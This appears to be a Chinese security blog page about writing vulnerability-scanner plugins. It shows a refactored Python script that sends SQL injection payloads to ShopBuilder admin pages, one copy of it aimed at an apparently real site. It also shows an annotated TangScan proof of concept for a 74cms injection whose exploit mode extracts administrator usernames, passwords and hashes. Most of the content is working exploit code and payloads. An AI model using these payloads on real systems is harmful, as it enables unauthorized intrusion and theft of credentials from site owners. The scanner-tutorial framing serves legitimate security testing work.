    url1 = arg + '?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url2 = arg + '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url3 = arg + '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url4 = arg + '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    url5 = arg + '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    code1, head1, res1, errcode1,finalurl1 =  curl.curl(url1)
    code2, head2, res2, errcode2,finalurl2 =  curl.curl(url2)
    code3, head3, res3, errcode3,finalurl3 =  curl.curl(url3)
    code4, head4, res4, errcode2,finalurl4 =  curl.curl(url4)
    code5, head5, res5, errcode5,finalurl5 =  curl.curl(url5)
    if code1 == 200 or code2 == 200 or code3 ==200 or code4 == 200 or code5 == 200:
        if "4beed3b9c4a886067de0e3a094246f7" in res1 or "4beed3b9c4a886067de0e3a094246f7" in res2 or "4beed3b9c4a886067de0e3a094246f7" in res3 or "4beed3b9c4a886067de0e3a094246f7" in res4 or "4beed3b9c4a886067de0e3a094246f7" in res5:
            security_hole('find sql injection: ' + arg+ '?m=vote/admin')
 
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.exploit.com/')[1])

自己看起来都惨不忍睹,后来xx提议使用一个for循环吧。再使用break跳出来就好了。自己查询了下,就弄了一个出来

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payload=['?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             ] #全部写进一个数组
    for i in range(len(payload)): #先获取整个数组的长度
        url = arg + payload[i]
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res: #如果满足整个条件
            security_hole('find sql injection: ' + url) #输出结果
            break #跳出循环
             
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.zgzyjczs.com/')[1])

后来看到某牛评论说是

循环读取没必要使用元组下标,直接从元组里循环就行

for payload in payloads:
    url = arg + payload
    code, head, res, errcode,finalurl =  curl.curl(url)
    ……

循环如果完了以后其实没必要有break的,而且你这属于多个payload挨个监测,其实让他检测完才是最好的情况

所以,最后的exploit是这个样子了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payloads=('?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             )
    for payload in payloads:
        url = arg + payload
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res:
            security_hole(url)
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder','http://www.example.com/')[1])

 

关于Tangscan的插件编写

发布时间:April 26, 2015 // 分类:代码学习,linux,python,windows // No Comments

看了Tangscan插件编写后,自己按照那个过程写一个poc的时候的一些笔记以及注释

#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
 
import re   #为了能够匹配网页内容, 我们需要import re
 
from thirdparty import requests
    #TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
from modules.exploit import TSExploit
    #编写TangScan POC不可缺少的一个类 TSExploit
 
 
__all__ = ['TangScan']
 
 
class TangScan(TSExploit):  #定义TangScan类, 并且继承于TSExploit
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "74cms plus/ajax_common.php sql 注入漏洞", # POC 的名称
            "product": "74cms", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                # 名称必须和 tangscan 主页上的一致(大小写敏感)
            "product_version": "", # 应用版本号
            "desc": """
                74cms plus/ajax_common.php 对编码的处理不恰当,在处理UTF8转成GBK后还对其进行了addslashes处理。转码后直接带入查询 而且直接输出
            """,  # 漏洞描述
            "license": self.license.TS, # POC 的版权信息
            "author": ["saline"], # POC 编写者
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-063225"},# 乌云案例链接
            ],
            "type": self.type.injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
            "severity": self.severity.high, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
            "privileged": False, # 是否需要登录
            "disclosure_date": "2014-09-03",# 漏洞的公布时间
            "create_date": "2015-03-30",# POC创建时间
        }
 
        self.register_option({  #调用 regsiter_option 方法注册所需参数
            "url": {            #我们所需的参数是 url
                "default": "",  #设置参数 url 的默认值为 ""
                "required": True, #设置参数 url 是否是必要参数
                "choices": [],  #设置参数 url 的可选值, []为无可选值
                "convert": self.convert.url_field, #设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
                                                   #例如: www.example.com 转换成 http://www.example.com
                "desc": "目标 url" #设置参数 url 的描述, 这会在帮助中显示
            }
        })
 
        self.register_result({  #调用 register_result 方法注册POC返回结果
            "status": False,    #POC 的成功失败状态, 必须
            "data": {           #POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
                "user_info": {  #POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
                    "username": "",  #POC 将返回 user_info 的 username
                    "password": "",  #POC 将返回 user_info 的 password
                    "pwd_hash": ""   #POC 将返回 user_info 的 pwd_hash
                },
                "db_info": {
                    "version": "",   #POC 将返回 db_info 的 version的版本信息
                }
            },
            "description": "",       #POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
            "error": ""              #POC 执行失败或者异常的原因
        })
 
    def verify(self): #定义 verify 方法
        self.print_debug("verify start") #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
        #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,concat(0x7e7e7e,@@version,0x7e7e7e),5,6,7,8,9%23".format(domain=self.option.url))
                    #self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
                    #例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_version_pattern.findall(response.content)
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
            #例如: 使用 self.result.xxx 就可以获取或设置result 的结果
        self.result.data.db_info.version = re_result[0]
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        #设置 result.description, 最终会在报表中直接显示
            url=self.option.url,
            db_version=re_result[0]
        )
 
    def exploit(self):                   #定义 exploit 方法
        self.print_debug("exploit start")
            #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)\|\|\|(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            # 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
            #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,concat(0x7e7e7e,admin_name,0x7c7c7c,pwd,0x7c7c7c,pwd_hash,0x7e7e7e),3%20fr%3C%3Eom%20lhrc_admin%23".format(domain=self.option.url))
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_userinfo_pattern.findall(response.content)
            #使用正则获取html页面中的信息
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #获取到敏感信息之后, 将status设置为 True
        self.result.data.user_info.username = re_result[0][0] 
            #通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
        self.result.data.user_info.password = re_result[0][1]
        #通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
    self.result.data.user_info.pwd_hash = re_result[0][2]
        self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password},HASH: {pwd_hash}".format(
            url=self.option.url,
            username=self.result.data.user_info.username,
            password=self.result.data.user_info.password,
            pwd_hash=self.result.data.user_info.pwd_hash
        )
 
 
if __name__ == '__main__':
    from modules.main import main #导入 main 函数
    main(TangScan())              #执行 main 函数, 以TangScan的一个实例为参数

我去,出现乱码了~但是不影响

找个站来测试下我们的exp

继续--mode exploit测试下

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...